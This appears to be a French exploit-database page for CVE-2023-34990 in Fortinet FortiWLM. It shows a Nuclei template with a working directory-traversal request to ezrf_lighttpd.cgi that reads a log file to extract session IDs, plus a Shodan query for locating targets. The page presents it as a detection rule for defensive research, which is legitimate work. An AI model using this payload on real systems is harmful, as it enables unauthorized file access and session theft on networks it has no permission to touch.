Exploit matérialisé
CVE-2023-34990
CRITICAL1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
critical Vérifié
Source
FortiWLM - Directory Traversal
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2023-34990 -u https://your-target
Template yaml
id: CVE-2023-34990
info:
name: FortiWLM - Directory Traversal
author: DhiyaneshDk
severity: critical
description: |
A relative path traversal in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands via specially crafted web requests.
impact: |
Unauthenticated attackers can exploit path traversal through the imagename parameter in ezrf_lighttpd.cgi to read arbitrary files and potentially execute unauthorized code, compromising the entire Fortinet FortiWLM wireless LAN management system.
remediation: |
Update Fortinet FortiWLM to version 8.6.6 or 8.5.5 or later that validates file paths in ezrf_lighttpd.cgi and prevents directory traversal attacks.
reference:
- https://fortiguard.com/psirt/FG-IR-23-144
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-34990
cwe-id: CWE-94,CWE-23
epss-score: 0.24901
epss-percentile: 0.97748
metadata:
max-request: 1
shodan-query: title:"FortiWLM Login"
tags: cve,cve2023,fortiwlm,lfi,cisa,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wlm/login?next=/wlm HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- 'status_code == 200'
- 'contains(body, "<title>FortiWLM Login</title>")'
condition: and
- raw:
- |
GET /ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: response
regex:
- 'sessionid=([A-F0-9]+)'
- type: status
status:
- 200
# digest: 4a0a00473045022059d3a310440961f50ab81ad02083e33a9a96a175e2e0f6f133c773c6db3addff0221008265114a0fe372224ea9efa1a0b65d0e3f4554d671a24f7e2eaf6d3e477da20f:922c64590222798bb761d5b6d8e72950